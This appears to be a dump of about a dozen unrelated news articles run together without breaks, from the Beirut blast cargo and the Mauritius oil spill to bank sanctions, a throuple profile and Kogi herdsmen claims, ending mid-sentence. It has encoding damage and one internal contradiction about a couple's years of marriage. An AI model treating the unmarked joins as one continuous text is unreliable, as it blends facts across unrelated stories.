spokesman, Antonio Cunha Vaz. The producer was Georgian fertilizer maker Rustavi Azot LLC, which has since been dissolved. Its owner at the time, businessman Roman Pipia, told Reuters he had lost control of the Rustavi ammonium nitrate plant in 2016. UK court documents show that the firm was forced by a creditor to auction off its assets that year. The factory is now run by another firm, JSC Rustavi Azot, which also said it could not shed light on the cargo owner, according to the plant's current first deputy director, Levan Burdiladze. FEM said it had ordered the shipment through a trading firm, Savaro Ltd, which has registered companies in London and Ukraine but whose website is now offline. A visit to Savaro Ltds listed London address on Monday found a Victorian terraced house, with a locked and barred door, near the fashionable bars of Shoreditch. No one responded to knocks on the door. Reuters contacted UK-registered Savaro Ltd director Greta Bieliene, a Lithuanian based in Cyprus. She declined to answer questions. A source familiar with the inner workings of Savaro's trading business said it sold fertilizer from ex-Soviet Union states to clients in Africa. Ukraine-based businessman Vladimir Verbonol is listed as director of Savaro in Ukraine, according to Ukrainian corporate data base You Control. Reuters was unable to contact Verbonol for comment. THE RUSSIAN As grief and anger over the blast turn to civil unrest in Beirut, there are signs the Lebanese government's promised investigation has already turned its sights back to the Rhosus and Grechushkin, the man the crew considered as its owner. A security source said Grechushkin was questioned at his home in Cyprus last Thursday about the cargo. A Cypriot police spokesman said an individual, whom he did not name, had been questioned at the request of Interpol Beirut. The Rhosus arrived in Beirut in November 2013 with a leak and in generally poor condition, captain Prokoshev said. It had already been beset with problems. In July 2013, four months before docking in Beirut, the ship was detained for 13 days by port authorities in Seville, Spain, after multiple deficiencies including malfunctioning doors, corrosion on the deck area and deficient auxiliary engines were found, according to shipping data. It resumed sailing after inspection firm Maritime Lloyd issued a cargo ship safety construction certificate, which would have involved a survey of the ship, the data showed. Teimuraz Kavtaradze, an inspector at Georgia-based Maritime Lloyd, which does not rank among the most prominent and widely-used inspection firms, said he could not confirm whether or not the firm had provided any inspection documents to port officials in Seville. He said he was working for Maritime Lloyd in 2013 but that other staff and the management had since changed. Seville port officials were not immediately available for comment. Paris MoU, a body of 27 maritime states under whose authority the detention was carried out, confirmed in an email that the vessel was detained and inspected in Seville. Moldova, where the Rhosus is registered, lists the owner of the ship as Panama-based Briarwood Corp, a certificate of ownership seen by Reuters shows. Reuters was not immediately able to identify Briarwood Corp as a Panamanian registered company. Panamas maritime authorities did not immediately respond to requests for comment. The ship's charterer, Teto Shipping Ltd, is based in the Marshall Islands and was dissolved in 2014, according to International Registries, which says it provides shipping registry services to the Marshall Islands. Igor Zaharia, the director of Moldova's Naval Agency, said Grechushkin was Teto Shipping's director. The Rhosus' captain passed Reuters an email address that he and the crew had been using for Teto Shipping, but requests for comment to the same address went unanswered. The captain said he regarded Grechushkin and Teto as the same entity. Search Keywords: Short link: New Delhi : The 13th and the current President of the country, Pranab Mukherjee is celebrating is 81th birthday on Sunday. In a career spanning over more than 60 years, Pranab Mukherjee has been the first citizen of the nation since July 2012. Fondly called aPoltu Daa by his close ones, Pranab Mukherjee was born on 11 December 1935 in Mirati in Birbhum District in West Bengal, India, into a Brahmin family. Pranab Mukherjee ventured into politics in 1969 when he became a member of the Rajya Sabha. The then Prime Minister Indira Gandhi recognized his potential and helped him Indian National Congress (INC). President Mukherjee is also skilled with several years of diplomatic experience. He has served on the Board of Governors of the IMF, World Bank, Asian Development Bank and African Development Bank. Prime Minister Narendra Modi also took to twitter to wish the President on his birthday. Birthday wishes to Rashtrapati Ji. His tremendous experience & wisdom has benefitted the nation greatly. I pray for his long & healthy life. a Narendra Modi (@narendramodi) December 11, 2016 In addition, he has led the Indian delegations to the Commonwealth Finance Ministersa Conferences in 1982, 1983 and 1984. He participated in the Conference of Commonwealth Heads of Government at Auckland in 1995. In June 2012, Pranab Mukherjee was nominated as the presidential candidate of the United Progressive Alliance. At that time, he was a part of the government, so he resigned to contest the presidential poll. Pranab Mukherjee won the election by defeating P. A. Sangma in the race to Rashtrapati Bhavan, and was sworn into office on 25 July 2012 as the 13th President of India. President Mukherjee is also a noted author and has written many books including aOff the Tracka (1987), aSaga of Struggle and Sacrificea (1992), aChallenges before the Nationa (1992), and aThe Dramatic Decade: The Days Of Indira Gandhi yearsa (2014). For all the Latest India News, Download News Nation Android and iOS Mobile Apps. A couple who were married for 10 years formed a throuple with a woman they met on a camping trip to help get through a 'rough patch'. Technician Eli Titus, 36, and health services coordinator Mikey Titus, 37, from Beaverton, Oregon, were married for 10 years before they met Alida Gibson, 31, in July 2018, forming a triad in the hope of rekindling their rocky marriage. The insurance rep, who they met through a mutual friend, had also been going through a hard time and was recently divorced. Alida had two children - Maddox, seven, and Lennox, five - before she met Eli and Mikey, and their son Linkoln, 12. All three of them consider themselves parents to their brood. Eli, 36, (center) and Mikey Titus, 37, (right) met Alida Gibson, 31, (left) at a private camping festival. They had been married for 17 years when they decided to form a triad Between them they have three children, Linkoln, 12, Maddox, 7, and Lennox, 5, all born during Mikey and Eli's original marriage. Eli, (center) and Mikey (left) and Alida (right) are pictured with their children and dog The group met a camping festival two years ago and began chatting and instantly bonded with each other, sharing their love of the outdoors, crafting and music. Eli and Mikey soon realized that Alida would be the perfect fit to join their relationship. But while the triad have openly spoken to the children about what makes polyamory different, other people aren't so understanding. People have said to them that they cannot believe Eli has two partners and even suggested they must be with him for money. 'Sometimes, it feels that looks could kill,' Mikey said. 'We hear people say, "he must have money,"' or "Eli is the man," all the time. It makes it seem as if our relationship is dependent on him which of course, it's not. The throuple are pictured enjoying a meal out together. When they met they instantly bonded with each other, sharing their love of the outdoors, crafting and music. PIctured left to right: Mikey, Eli and Alida 'We live in the pacific northwest so "weird" is a regular occurrence here but even still, people say, "I couldn't do that," or "it's just a phase." 'Being in a polyamorous relationship is pretty literal to us. Polyamory means "many loves" so we believe that the more love, the better,' she added. 'Within your family, you don't just love your mum or your dad, so why should we restrict ourselves to one love in our romantic relationships if there's a connection there with someone? All of them say they have never felt as complete in a previous relationships as they do now. Pictured: Left to right: Mikey, Alida and Eli Mikey and Eli were aware of polyamory but never thought it would be something they would explore themselves, until they met Alida. All of them say they have never felt as complete in a previous relationships as they do now. The group say they feel that being together has made each of them a better person particularly when it comes to being in a relationship. 'The children are aware that our family is special. As the eldest, Linkoln was aware of "normal" relationships but we talked with him openly and honestly. We encourage our kids to be themselves no matter what others think. Mikey (left) and Eli (right) say when they met Alida (center) they knew she would be the perfect fit to join their relationship and say they've all made each other better people 'Linkoln has had a friend ask if it was a good or bad thing to have three parents. He said it's only bad if he's in trouble. 'We recognise that there are four relationships within our triad - those with each and also as a whole. We do everything we can to avoid couples' privilege,' Mikey added. 'We check in with each other on a regular basis. It's a constant learning experience. 'Sometimes, certain people have less time together due to work schedules and the kids. 'If someone can't make it to something though, we always take pictures and fill them in as we really do prefer being together as one. The throuple hope to one day get married in their home state of Oregon and decided to share their experiences to raise awareness of poly rights. They are pictured at a pride march 'We're constantly improving our communication - learning how to be engaged and present with each partner in the hard times as well as the good." The throuple feel that being together has made each of them a better person - particularly when it comes to being in a relationship. 'Me and Eli had been married for ten years before we met Alida. 'Being in a relationship since we were basically kids meant that we'd done things we weren't proud of,' Mikey said. 'We'd do dumb things young kids do when they're trying to figure out how to be adults - argue, break up, and spending money we didn't have. The throuple speak openly about the differences in a polyamorous relationship with their children but sadly not everyone is receptive to the idea. Pictured back to front: Alida, Mikey and Eli 'When we met Alida, something felt different. We felt this need to be better. We've been able to work through some things and create a stronger connection between us all. 'Alida has brought a different perspective and understanding. 'We weren't actually looking for a poly relationship but we just knew that as a group, we wanted to be together." Mikey, Eli, and Alida's own families find the arrangement confusing, but the throuple aren't put off by the constraints of what is considered to be 'normal' in society. Eli (right) and Mikey (center) soon realised that Alida (left) would be the perfect fit to join their relationship and may be the 'something' they needed to change to be happy 'Our families are amazingly supportive. We don't think our mums truly understand but as long as we're happy, they are,' Alida said. 'We host family get-togethers and continue working on the bonds between our families. 'We're just like everyone else. We all want to grow old together - raise our kids, buy a home, travel, retire, and drive Eli crazy until the end. 'We would love to get married but at this time, that's not legal in Oregon. We're hoping that by raising awareness, we might be able to change the rights and be legally married by the state one day. 'Our relationship requires a lot of communication, dedication, self-reflection, and compromise. It isn't always easy, but it is always worth it. 'We are a team and we believe that each of us are equally important.. One day, we'd like being in a polyamorous triad to be more widely accepted.' NBC News chief foreign correspondent Richard Engel has opened up about how the coronavirus pandemic has been a 'nightmare' for his severely disabled four-year-old son who has been cut off from the therapies that enrich his life. The 46-year-old journalist's eldest son, Henry, cannot walk or talk. He was diagnosed with Rett Syndrome, a genetic mutation that leads to severe cognitive deficits and physical impairment. The condition is rare, even more so in boys, and there is no cure. In an essay published by Today, Engel explained that he and his wife, Mary Forrest, have noticed Henry's overall condition has deteriorated since the start of the global crisis, noting that other families with special needs children are also struggling. Candid: NBC News chief foreign correspondent Richard Engel has opened up about the pandemic has been a 'nightmare' for his severely disabled four-year-old son, Henry Hard to handle: Engel and his wife, Mary Forrest, have noticed their son Henry's overall condition has deteriorated since the start of the crisis 'Henry has severe special needs, and COVID has been an absolute nightmare for him and millions of other children like him. I'd add more colorful adjectives, but you get the point,' he wrote. 'Henry, who turns 5 in September, doesn't walk or talk. He can't feed himself efficiently. He doesn't sit up straight. Now that he's getting bigger, he can barely move independently.' Before the pandemic, Henry was enrolled in a number of 'amazing therapies' that stimulated him and brought him joy, including equine therapy. He rode a horse named Coco with the help of two attendants, and not only did Henry visibly enjoy the rides, but the rocking movement helped strengthen his core. 'He did astronaut therapy in a soft-play room, spinning on a large Lazy Susan to let him feel a mild centrifugal force,' Engel added. 'He did music therapy and enjoyed touching the vibrating guitar strings. He did hydrotherapy in a warm pool with hoists attached to the deck. He went to a school, for a few hours a day, with an aide who helped him. Loss: Henry, who cannot walk or talk, has been cut off from the therapies that enrich his life due to the pandemic. He is pictured playing with his father and baby brother, Theo Interaction: Engel said Henry can only interact through 'sight, sound, and touch,' so they constantly cuddle him, praise him, massage him, and give him kisses 'That's all gone. He's bored. He's whiny,' the dad said. 'There is nothing more frustrating than hearing him upset and not being able to figure out what's wrong and how to soothe him. The TV helps, but you can only put on cartoons for so many hours a day. He's averaging around one.' Engel said Henry can only interact through 'sight, sound, and touch,' so they constantly cuddle him, praise him, massage him, and give him kisses. His wife also sings to him and uses flash cards to teach him letters, numbers, and colors. The couple also has a nearly one-year-old son, Theo, who has started showing his older brother affection as well, but it's not enough to improve his condition now that he has been removed from all other human interaction. 'Since Henry can't play normally, school was the only place where he could interact with other children,' Engel explained. 'The kids would come up and kiss him, tussle his hair and bring him toys. He didn't always respond as they expected, but the excitement in his eyes told them he enjoyed and appreciated it.' Engel and Forrest made the decision to hire a physical therapist to work with Henry during the pandemic because movement is essential for him to build strength. Life-changing moment: Henry, pictured as a baby, was diagnosed with Rett Syndrome in 2017. The genetic mutation leads to severe cognitive deficits and physical impairment Dedication: Physical therapy is a large part of his routine, and the couple will put Henry in a stranding frame so he puts weight on his hips Henry can't stand on his legs and his muscles are weak; his hips can dislocate easily and may one day require major surgery. They bought him a $1,000 upright standing frame that they strap him into, so he puts weight on his hips, knees, and feet. Despite their struggles amid the pandemic, they consider themselves lucky to be able afford private physical therapy and equipment to help their son. 'I say he's lucky to be keeping up with his physical therapy, because we are paying about $100 an hour to have a private therapist known to us and part of our bubble come to our home,' he said. 'There are risks with having the therapist come, touching and moving Henry, but not doing the therapy has risks too. So we roll the dice, hoping not to hit seven and COVID out.' Engel estimates that they have about $5,000 to $10,000 worth of equipment for Henry in their London home, noting that some of it was provided by local authorities. Necessary: Engel and Forrest made the decision to hire a private physical therapist for Henry amid the pandemic to make sure she doesn't lose any more of his strength Essential: 'Without physical therapy Henry's body would deteriorate, collapsing under its increasing weight,' Engel explained 'That's why I say we're lucky. Other families can't afford to turn their homes into therapy gyms, and not all community support is strong,' he noted. 'Without physical therapy Henry's body would deteriorate, collapsing under its increasing weight. It goes without saying you can't do physical therapy online any more than at-home dentistry or a Zoom appendectomy.' But despite their efforts, they are still noticing a 'deterioration in Henry's overall condition.' Since the start of the pandemic, his tremors and body shakes have become more pronounced. His hand-mouthing has also become more frequent, and they have to either put his arms in braces or socks over his hands to keep him from chewing his skin until it bleeds. They're not sure if these symptoms are due to stress or just his the progression of his condition. Engel spoke with other parents whose special needs children were struggling, including Carolina Landa. The mother in Olympia, Washington, has a 13-year-old autistic son, Zach, who is non-verbal. The pandemic's changes to his daily routine and therapies led him to have more episodes. He hit his head and banged his body up against a wall for two months straight as she worked to calm him down. Upsetting: Despite their efforts, Henry's tremors and body shakes have become more pronounced. His hand-mouthing has also become more frequent Using his platform: Engel told DailyMail.com that they shared their story because 'special needs kids seem to be an afterthought' in the debate about schools opening Landa, who works an oversight agency for Washington States prisons, couldn't afford private help, so she came up with her own therapy regime for Zach. Adrienne Stuart, the director of public policy at Washington States Developmental Disabilities Council, has a son, Jack, who has the same genetic disorder as Henry. She told Engel that she has seen her son regress since the start of the pandemic. He was just learning to use a computer to speak, but has stopped doing it. She is worried he will lose the skill and thus his ability to communicate. 'Having a special needs child was difficult before COVID. Now it's dangerous for the children and for the mental health of the parents. Without therapies, these kids are breaking,' Engel wrote at the end of his essay. 'When policy makers and public officials prioritize what to open, where and when, I hope they keep special needs children in mind.' Henry was first diagnosed in 2017 with Rett Syndrome, a rare genetic mutation that mostly affects girls and is discovered in the first two years of life. What is Rett Syndrome? The rare neurological disorder that leaves kids unable to speak, eat, walk, talk, and breathe One child in 12,000 is born with Rett Syndrome, yet few people have heard of it. The genetic disorder affects almost exclusively females, causing them to regress neurologically and physically. The progression of the disease can be roughly divided into four stages. During the first stage, from about the age of six to 18 months, a baby slows in development, loses interest in play, stops making eye contact, starts walking awkwardly and makes repetitive hand movements. The second stage, known as 'rapid destruction,' begins between the ages of one and four. The child finds it increasingly difficult to communicate and learn and there is often a deterioration in other brain functions. Symptoms include an inability to control the hands, sudden distress teamed with screaming, unsteadiness, breathing problems, difficulty sleeping, slow head growth and digestive problems. The third stage, the plateau,' begins between age three and ten. Limbs become floppy, epilepsy may develop and there may be weight loss and teeth-grinding. However, many parents say children are less distressed and show more interest in their surroundings. The final stage can last for decades. Usually severe bending of the spine scoliosis develops, as well as losing the ability to walk. Almost all cases are caused by a mutation in the MECP2 gene that prevents nerve cells in the brain from working properly. Currently, there is no cure and only the symptoms are treated. Sufferers can live to their 40s but most die before 25. Advertisement The mutation stops the brain from growing properly, and symptoms include slowed growth, issues with hand movements, a lack of language skills, problems with muscles and coordination, and trouble breathing. There is no cure, and treatments so far are mostly limited to various forms of therapy, like physical therapy, speech therapy, and behavioral therapy. 'Mary and I wanted to do this story because in all of the discussion and debate about when and how to open schools, special needs kids seem to be an afterthought,' Engel told DailyMail.com via email. 'For them, school is everything, not just a place to learn, socialize and mature, but where they receive most of their vital therapies. Without the therapies, special needs children are regressing. Theyre moving backwards,' he continued. 'If a child with severe physical needs doesnt do physiotherapy, his or her back can twist, hips can dislocate. They can be in pain forever. Without occupational or speech therapy, children can lose the ability to communicate, which in some cases theyve worked for years to achieve. It is a community that needs so much help, just receives so little attention.' Victorian Premier Daniel Andrews is like a hotel quarantine guest who has been caught locked outside his room. His claim to a parliamentary committee that no Australian Defence Force help was offered to Victoria when the state was setting up its quarantine arrangements didnt quite ring true. Premier Daniel Andrews speaking at the committee hearing on Tuesday. It has now been contradicted by Defence Minister Linda Reynolds, who has publicly listed several dates on which such help was offered and either rejected or not taken up by Victoria. It is a matter for the Premier to explain the discrepancies between his testimony and Senator Reynolds account. Citigroup Inc. and Standard Chartered Plc are stepping up scrutiny of banking clients in Hong Kong, aiming to avoid violating U.S. sanctions on officials in the former British colony. U.S.-based Citigroup is already taking steps to suspend accounts linked to some of the 11 targeted individuals, one person familiar with the matter said. Standard Chartered, which is based in London, is reviewing whether it has relationships with any of the officials and will monitor their transactions, another person said, adding that it has suspended new account openings for those on the list. With the U.S. and China each imposing sanctions on the other in an escalating standoff over Beijings crackdown on the former British colony, Western lenders are walking a tightrope over their operations in Hong Kong and expansion plans in China. For their part, Chinese lenders such as Bank of China Ltd. and Industrial & Commercial Bank of China Ltd. are vulnerable due to their need for dollars. The sanctions forbid banks from doing business with the penalized individuals. But complying with that order could put lenders directly at odds with the national-security law Beijing recently imposed in Hong Kong, which says that no sanctions or hostile actions can be applied against the city and mainland China. We regularly review client accounts around the world, said a Citigroup spokesman, who declined to comment further on Hong Kong. A Standard Chartered spokeswoman declined to comment. The individuals sanctioned by the U.S. include Hong Kong Chief Executive Carrie Lam, Xia Baolong, director of the Hong Kong and Macau Affairs Office of Chinas State Council, and Chris Tang, commissioner of the Hong Kong Police Force. The targeted officials will have property and assets in the U.S. frozen. Hong Kong Chief Executive Carrie Lam is one of 11 officials targeted by US sanctions [File: Lam Yik/Reuters] In retaliation, China is sanctioning 11 Americans, including Senators Marco Rubio and Ted Cruz, and Human Rights Watch Executive Director Kenneth Roth and Michael Abramowitz, the president of Freedom House. The banks steps add to preparations that have been going on since the security law and the U.S. Hong Kong Autonomy Act, which enabled the sanctions, were passed last month. Additional levels of screening will be done now to cope with potentially further sanctions on politically exposed people, the people said. Bankers and their lawyers from Hong Kong to Washington have been poring over the fine-print to reconcile how they can dodge major consequences from being squeezed between the two laws. Running afoul of the legislations put companies at risk of fines or losing their license to do business. The latest U.S. order doesnt include a wind-down period, suggesting banks will be subject to the law immediately. Foreign financial institutions that dont operate within the U.S. wont be caught up as long they dont help sanctioned individuals with transactions linked to U.S. dollars, the people said. Hard Pressed The banks here would be hard pressed to cut off some of these names as their customers, said Benjamin Quinlan, chief executive officer of Quinlan & Associates, a strategy consultant in Hong Kong. At the end of the day, even if you go from a U.S. bank to the likes of HSBC, they all have an international footprint that straddles the U.S., Hong Kong, and mainland China. Hong Kong authorities over the weekend brushed off the sanctions, saying the unilateral move wont force banks to comply under Hong Kong law. The Hong Kong Monetary Authority, the citys de facto central bank, said local lenders have no obligation to follow and the lenders should treat customers fairly in assessing whether to continue to provide services to an individual. The assertions by the Hong Kong authorities did little to calm concerns at banks since they still will need to comply with laws in other jurisdictions, the people said. Chevron's interest in giant gas field led to $5 billion bid for Noble Energy File photo of a Chevron gas station sign in Cardiff, California (This August 11 story corrects paragraph 8 to say Chevron dropped a force-the-vote provision during negotiations instead of "Noble dropped") HOUSTON (Reuters) - Chevron Corp's $5 billion offer to acquire Noble Energy emerged after the U.S. oil major first proposed taking a stake of at least 50% in Noble's Eastern Mediterranean natural-gas fields, a proxy filing on Tuesday showed. If consummated, the all-stock merger will boost Chevron's U.S. shale oil holdings and give it vast natural gas assets off the coast of Israel. Noble's Leviathan, one of the world's biggest offshore gas discoveries of the last decade, already is supplying gas to Israel, Egypt and Jordan. Last year, Noble sought a partner to help finance the multibillion-dollar investment required for Leviathan, according to Tuesday's Securities and Exchange Commission filing. The company denied Chevron an opportunity to visit the Leviathan facility in February, but weeks later agreed to a confidentiality agreement to begin discussing their operations in the region, according to the filing. As global energy markets collapsed that month and Noble reported a first-quarter loss of nearly $4 billion, its board opted for a sale of the company rather than a regional partnership, according to the filing. It contacted eight companies to gauge interest in a stake in its Eastern Mediterranean holdings and held talks with six potential buyers. The alternatives to Chevron were either "high risk" or "did not result in any material benefit," according to the filing. Chevron's bid valued Noble at $10.38 a share, a 7.5% premium to its closing price before the deal was disclosed. Including assumption of debt, the price tag for the purchase is roughly $13 billion. During their talks, Chevron agreed to raise its exchange ratio and drop a force-the-vote provision while Noble in return agreed to pay a higher termination fee. The purchase still faces a vote by Noble shareholders, who are expected to approve it. Chevron shares on Tuesday were off 6 cents at $89.67 while Noble's lost 4 cents at $10.65. The proxy filing came after 4 p.m. (Reporting by Gary McWilliams; Editing by Chris Reese and David Gregorio) If you want to know who really controls Tatton Asset Management plc (LON:TAM), then you'll have to look at the makeup of its share registry. Institutions will often hold stock in bigger companies, and we expect to see insiders owning a noticeable percentage of the smaller ones. Warren Buffett said that he likes "a business with enduring competitive advantages that is run by able and owner-oriented people." So it's nice to see some insider ownership, because it may suggest that management is owner-oriented. With a market capitalization of UK163m, Tatton Asset Management is a small cap stock, so it might not be well known by many institutional investors. Taking a look at our data on the ownership groups (below), it's seems that institutions own shares in the company. We can zoom in on the different ownership groups, to learn more about Tatton Asset Management. Check out our latest analysis for Tatton Asset Management What Does The Institutional Ownership Tell Us About Tatton Asset Management? Institutional investors commonly compare their own returns to the returns of a commonly followed index. So they generally do consider buying larger companies that are included in the relevant benchmark index. As you can see, institutional investors have a fair amount of stake in Tatton Asset Management. This implies the analysts working for those institutions have looked at the stock and they like it. But just like anyone else, they could be wrong. If multiple institutions change their view on a stock at the same time, you could see the share price drop fast. It's therefore worth looking at Tatton Asset Management's earnings history, below. Of course, the future is what really matters. Investors should note that institutions actually own more than half the company, so they can collectively wield significant power. Tatton Asset Management is not owned by hedge funds. BlackRock, Inc. is currently the largest shareholder, with 15% of shares outstanding. Hermitage Holdings (Wilmslow) Ltd is the second largest shareholder owning 13% of common stock, and Liontrust Investment Partners LLP holds about 13% of the company stock. In addition, we found that Paul Hogarth, the CEO has 0.0525833 of the shares allocated to his name Story continues Our research also brought to light the fact that roughly 52% of the company is controlled by the top 5 shareholders suggesting that these owners wield significant influence on the business. Researching institutional ownership is a good way to gauge and filter a stock's expected performance. The same can be achieved by studying analyst sentiments. Quite a few analysts cover the stock, so you could look into forecast growth quite easily. Insider Ownership Of Tatton Asset Management The definition of company insiders can be subjective, and does vary between jurisdictions. Our data reflects individual insiders, capturing board members at the very least. The company management answer to the board; and the latter should represent the interests of shareholders. Notably, sometimes top-level managers are on the board, themselves. Insider ownership is positive when it signals leadership are thinking like the true owners of the company. However, high insider ownership can also give immense power to a small group within the company. This can be negative in some circumstances. Our most recent data indicates that insiders own some shares in Tatton Asset Management plc. It has a market capitalization of just UK163m, and insiders have UK14m worth of shares, in their own names. Some would say this shows alignment of interests between shareholders and the board. But it might be worth checking if those insiders have been selling. General Public Ownership The general public, with a 11% stake in the company, will not easily be ignored. This size of ownership, while considerable, may not be enough to change company policy if the decision is not in sync with other large shareholders. Private Equity Ownership Private equity firms hold a 5.2% stake in TAM. This suggests they can be influential in key policy decisions. Some investors might be encouraged by this, since private equity are sometimes able to encourage strategies that help the market see the value in the company. Alternatively, those holders might be exiting the investment after taking it public. Private Company Ownership Our data indicates that Private Companies hold 17%, of the company's shares. It might be worth looking deeper into this. If related parties, such as insiders, have an interest in one of these private companies, that should be disclosed in the annual report. Private companies may also have a strategic interest in the company. Next Steps: It's always worth thinking about the different groups who own shares in a company. But to understand Tatton Asset Management better, we need to consider many other factors. Take risks, for example - Tatton Asset Management has 1 warning sign we think you should be aware of. If you are like me, you may want to think about whether this company will grow or shrink. Luckily, you can check this free report showing analyst forecasts for its future. NB: Figures in this article are calculated using data from the last twelve months, which refer to the 12-month period ending on the last date of the month the financial statement is dated. This may not be consistent with full year annual report figures. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. MAURITIUS Within minutes of hearing about the oil spill, David Sauvage raced to the waterfront. The MV Wakashio, a Japanese-owned ship heading to Brazil and carrying an estimated 4,000 metric tons of oil, ran aground on Mauritius southeast coast on July 25. Tons of oil have gushed from cracks in the vessel, streaking the island's turquoise water black and threatening to ruin its coral reefs, protected lagoons and shoreline. Sauvage, an environmental activist, wasnt confident that officials in this Indian Ocean island nation would act in time to protect the pristine coastline for which it's renowned. So along with members of a local political party he worked through the night, using a net stuffed with dried sugarcane leaves in an effort to prevent the oil from flooding the island. Low-cost, low-tech, readily available materials that soak up oil, Sauvage told NBC News. The group busied itself making more of the "booms" and word soon spread. The next day thousands of Mauritians across the island had gathered to craft the natural barriers. Hundreds more donned gloves, masks and other personal protective equipment and plunged neck-deep into the oil, cleaning the mangroves and ocean as best they could. The volunteers have ignored a government order to leave the clean-up operation to local officials, potentially risking a fine or other punishment. NGOs asked volunteers on Tuesday not to risk their health cleaning up the oil on the coast but to concentrate on boom-making instead. High winds and waves are pounding the Japanese bulk carrier, which is showing signs of breaking up and dumping its remaining cargo into the waters surrounding the postcard-perfect island off the east coast of Africa. Nearly 2,000 metric tons of oil, diesel and petroleum lubricants could inundate the lagoon if the Wakashio breaks apart, and experts believe its a matter of hours. The situation is very critical. Cracks have expanded over the course of the day, said Dr. Vassen Kauppaymuthoo, the islands premier oceanographer. Story continues The situations about to get 10 times worse. Itll be a major catastrophe, he said. The oil is traveling up the coast, Kauppaymuthoo told NBC News, which could lead to huge stretches of lagoon being affected. Itll take decades to rehabilitate the lagoon, and itll never be as it was before the spill. We have thousand-year-old coral here, protected species in our waters, he added. Im so sad, so angry. Larm koule, he said in creole. The phrase means "tears run down my face." Image: Oil leaking from the MV Wakashio, a bulk carrier ship that recently ran aground off the southeast coast of Mauritius (Gwendoline Defente / EMAE / AP) Tourism has long been at the heart of the countrys economy, with a string of luxury hotels punctuating every coastline. The country had emerged from the restrictions of the COVID-19 pandemic two months ago relatively unscathed, with only 344 total cases and 10 deaths, according to Johns Hopkins' Coronavirus Resource Center. The government recently launched a fresh series of tourist campaigns in an effort to revive business. But now schools in the region have been closed because of the overwhelming smell of petrol and dead fish that permeates the air. Theres concern that residents near the coast where the ship is stranded, among several sites of great ecological importance, may have been exposed to hazardous substances washing ashore. I cant smell it anymore, said Sauvage, who has barely left the waterfront since the spill. Image: CORRECTION-MAURITIUS-ENVIRONMENT-POLLUTION-SHIPPING (DEV RAMKHELAWON / AFP - Getty Images) Prime Minister Pravind Jugnauth has declared a state of emergency and appealed for international help. He said the spill represents a danger for the country of 1.3 million people. Japan on Sunday said it would send a six-member team of experts to assist. French experts have arrived from the nearby island of Reunion. But pressure is mounting on the government to explain why it did not act sooner to avert the environmental disaster. The opposition and activists are calling for the resignation of the environment and fisheries ministers. Weve seen the trailer but not the movie yet, of the crisis to come, said Dr. Vikash Tatayah, director of the Mauritian Wildlife Foundation. Hes been leading rescue efforts on Ile aux Aigrettes, an islet central to conservation efforts, evacuating species of plants and animals to safety. The oil has encircled the islet like a noose. Its a disaster, Tatayah said. Never in my wildest nightmares would I have imagined something like this. The governing New Patriotic Party (NPP) has said it is confident in the new biometric voter management solution acquired by the Electoral Commission and hence has revived its 2016 "no verification no vote" stance for the December polls. While in opposition, NPP in the run-up to the 2016 general elections took the position that only voters who are verified biometrically should get to vote, a stance that at the time was informed by claims that the electoral roll was not credible. Ahead of the December 2020 presidential and parliamentary polls, the NPP said on Monday, August 10, 2020, that it will take the same stance - this time because the party is highly confident in the new system. Addressing a press conference in Accra on Monday, August 10, 2020, NPP General Secretary, John Boadu, said with the facial recognition facility that is part of the new technology, it would be impossible for listed voters not to be electronically verified by the biometric verification machines. As we move on towards the election, we will be having a lot of IPAC [Inter-Party Advisory Committee] meetings and it will be appropriate to push for no verification no vote, John Boadu said at the press conference. The NPP General Secretary said the old biometric machines were unable to verify voters properly in 2016, resulting in a high number of manual verification on voting day. Manual verification, John Boadu argued, was largely unreliable and a potential source of dispute as it tends to comprise the integrity of the elections. The new biometric voter management solution which the EC has acquired ahead of the 2020 elections has facial recognition as an additional feature for those whose fingers cannot be verified, he stressed. Meanwhile, the EC has revealed that biometric data of 16,663,669 Ghanaians have been captured in the just ended registration exercise. According to the Deputy Chairman of Corporate Services at the EC, Dr Bossman Asare, the nationwide provisional figures since its last briefing have seen the top four regions maintain their positions. Speaking at the eighth edition of the Let the Citizen Know series on Friday, August 7, Dr Asare said; As at 6th August 2020, the Commission had registered a total of 16,663,669 nationwide. Since the last briefing, the four top regions have maintained their positions. The Greater Accra region has especially lost some grounds in percentage terms from 21.34 % to 20.8% of the total registered. The Ashanti region also reduced marginally by 0.1% to its current 17.9%. The NPP sees these figures as a satisfactory, stating that the electoral roll would have contained more than 3 million ineligible voters had the EC not compiled the register. Source: ghanaweb.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Richard Elesho/ Lokoja Armed Fulani herdsmen from Mali and Niger have swamped some communities in Kogi West Senatorial District, an environmentalist and community leader, Dr. Oluwayomi David Atte has cried out. Atte, a former Commissioner for Education in the old Kwara State and former Governorship aspirant in Kogi State said bands of herdsmen have positioned themselves in various communities in Okun land , raising concerns about insecurity. He told P.M.NEWS that some of the armed herdsmen were accosted by hunters in MopAmuro Local Government Area. He said the Invaders brandished a letter claiming they have government backing to farm in the area. He said the light skinned Fulani further told the hunters that they were from Mali. The elder-statesman said he, along with other leaders in the Okun Development Association, ODA has taken steps to report the unhealthy development to members of the Kogi State Executive Council and some legislators but that no clear actions have so far been taken on the matter. He noted that between Akutupa community and Egboro in Kabba-Bunu LGA, there is an active Fulani camp of close to 5,000 herdsmen. He said the alarm has become necessary in view of media reports that Miyetti Allah Cattle Breeders Association of Nigeria, MACBAN, is putting finishing touches to the establishment of a Vigilante group across the country. There is a four month old Fulani camp just a few kilometers from my village. They claimed to be from Niger Republic and that they got official letter to come there from one Sarkin Buari. They said they were going to Igbolekun and requested for safe passage. Only God knows where they are today because they disappeared into the forest at that time. Recently a woman in my village narrated how she woke up at dawn and met an armed Fulani leaning on a tree in her compound. Of course she quickly ran back inside the house. The threat to peace is real in Okunland How come that the President ordered that arms in civilian hands be confiscated throughout Nigeria while Fulani are roaming around openly, including within the metropolis of Abuja, holding AK-47 rifles unmolested. In our area we have concrete facts that Fulani killed a farmer. Nothing was done in spite of reports to Government agencies. Weeks later the villagers beat back a Fulani attack and one of them was killed. The Police and other security agencies descended on that village thereafter, arrested and incarcerated the villagers. Atte called for 